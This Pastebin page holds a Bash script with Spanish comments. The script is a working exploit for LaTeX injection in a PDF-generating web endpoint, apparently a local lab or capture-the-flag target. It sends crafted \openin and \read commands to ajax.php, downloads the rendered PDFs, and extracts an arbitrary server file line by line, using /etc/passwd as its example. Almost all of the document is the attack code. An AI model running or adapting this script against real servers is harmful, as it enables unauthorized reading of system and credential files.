Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Variables Globales
- declare -r main_url="http://localhost/ajax.php" # URL principal para la solicitud
- filename=$1 # Nombre del archivo a descargar, pasado como argumento al script
- if [ $1 ]; then # Verificar si se proporciona un argumento
- read_file_to_line="%0A\read\file%20to\line" # Secuencia de escape para leer un archivo y pasar a la siguiente línea
- # Iterar 100 veces para intentar descargar múltiples partes del archivo si están disponibles
- for i in $(seq 1 100); do
- # Realizar una solicitud POST a la URL principal utilizando curl para obtener el enlace de descarga del archivo
- file_to_download=$(curl -s -X POST $main_url -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -d "content=\newread\file%0A\openin\file=$filename$read_file_to_line%0A\text{\line}%0A\closein\file&template=blank" | grep -i download | awk 'NF{print $NF}')
- if [ $file_to_download ]; then # Verificar si se ha obtenido un enlace de descarga válido
- # Descargar el archivo utilizando wget y redirigir la salida a /dev/null
- wget $file_to_download &>/dev/null
- # Convertir el archivo descargado de PDF a texto utilizando pdftotext
- file_to_convert=$(echo $file_to_download | tr '/' ' ' | awk 'NF{print $NF}')
- pdftotext $file_to_convert
- # Obtener el nombre del archivo convertido a texto
- file_to_read=$(echo $file_to_convert | sed 's/\.pdf/\.txt/')
- # Eliminar el archivo PDF descargado
- rm $file_to_convert
- # Imprimir la primera línea del archivo de texto
- cat $file_to_read | head -n 1
- # Eliminar el archivo de texto convertido
- rm $file_to_read
- # Agregar la secuencia de escape para leer el siguiente bloque del archivo
- read_file_to_line+="%0A\read\file%20to\line"
- else
- # Si no se ha obtenido un enlace de descarga válido, agregar la secuencia de escape para leer el siguiente bloque del archivo
- read_file_to_line+="%0A\read\file%20to\line"
- fi
- done
- else
- # Mostrar un mensaje de uso si no se proporciona un argumento válido
- echo -e "\n[!] Uso: $0 /etc/passwd/\n\n"
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement